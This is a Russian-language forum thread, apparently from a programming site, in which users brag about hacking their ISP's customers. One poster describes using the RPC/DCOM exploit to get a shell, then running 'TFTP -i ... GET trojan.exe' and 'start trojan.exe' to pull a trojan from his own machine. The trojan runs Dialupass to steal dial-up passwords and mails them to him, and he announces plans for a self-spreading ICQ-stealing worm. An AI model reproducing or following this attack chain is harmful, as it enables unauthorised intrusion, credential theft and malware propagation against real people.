Спроси на securitylab.ru, hackdocs.host.kz. Это все-таки форум по программированию, а не по взлому.

Ответить

А тебе не приходило в голову запихнуть Dialupass в ресурсы и юзать из командной строки?Три дня назад я сделал такое и распостранил по RPC\DCOM багу на територии своего провайдера.Супер!Теперь у меня много паролей от разных подключений!

Ответить

Злодей

Но это же некрасиво - запихивать чужую программу в ресурсы, а потом вызывать ее из командной строки? Хоть бы отдизасмил ее для очистки совести

А что, пров не поставил себе даже патч на RPC DCOM? Если такое повсместно, то я летом тоже займусь этим делом Но я лучше поломаю им биллинговую систему или положу себе миллион на счет

Ответить

Нє, пров мой не[sensored], а вот юзверя -[sensored]усы настоящие!Я их и сканю KaHT-ом, а потом пуляю через TFTP свой вирь им, вирь запускает из ресурсов dialupass и сохраняет все пароли в текстовом файле, отсылает мне на почту и удаляет dialupass и текстовый файл из компа жертвы.Все просто и прикольно, скоро напишу червь, который крадет аси и сам распостраняется через RPC\DCOM баг (типа BLAST).Миграция между сетями - по почте.Ваще я переписал весь RPC\DCOM експлоит на ВБ, смотрится прикольно, будет на моем сайте.Удачи всем.

Ответить

Ответить

Мне смешно смотреть на твой ник, я не уважаю людей, которые не оправдывают своё название.Параметры Диалапасс в хелпе от самой диалапасс, а о способах учись на web-hack.ru и securitylab.ru.Поделится могу только прогой, которая отсылает пассы на почту, експлоит на ВБ пока никому не дам (на С++ себе скачаешь).

Ответить

А ты шеллкод сам правил на запуск (закачку?) твоего трояна или есть такой готовый? Если готовый, где взял?

Ответить

Понимаешь, РПЦ експлоит переполняет буфер в месенджере и биндит шелл (т. е. командную строку) на указанном порту. После етого ты просто коннектишся к етому порту и...полная DOS власть!Выходит, не нужно никакой предварительной троянизации компа, просто вводишь айпи и бац!После етого нужно как-то из командной строки загрузить что-то на комп ламера, я знаю три способа, реально документированые два: FTP, TFTP.Итак, запускаю у себя ТФТП сервер и на компе ламера командой TFTP -i xxx.xxx.xxx.xxx GET trojan.exe гружу из своего компа троян.После етого командой start trojan.exe запускаю его...Правда, сегодня говорил со своим однокласником, он работает по ФТП, и у него все очень быстро (никаких троянов, грузит голый Dialupass и потом скачивает созданный файл с паролями), где - то 0.5 - 1 минута на хак одного компа.

Ответить

Ответить

А да, вспомнил, эта штука была в GUI RPC Exploit Тогда все понятно, а то я уж стал вспоминать статью, как в шелл-коде получать адреса API через VxD-сервисы Давненько я не изучал Темную стороу Силы ))

Ответить

Ответить

Ответить

Ответить

Вот из-за таких, как DaSharm, нормальные люди деньги переплачивают за Инет )) Надо было сказать: "Не умеешь, не берись!"

Ответить

Странная эта щтука dialpass, в дебагере работать не может, все пароли становятся обычными звездочками... Это я правда пробовал только IDA 4.5 (теперь там есть и win32 дебаггер) и в OlyDebug...

Ответить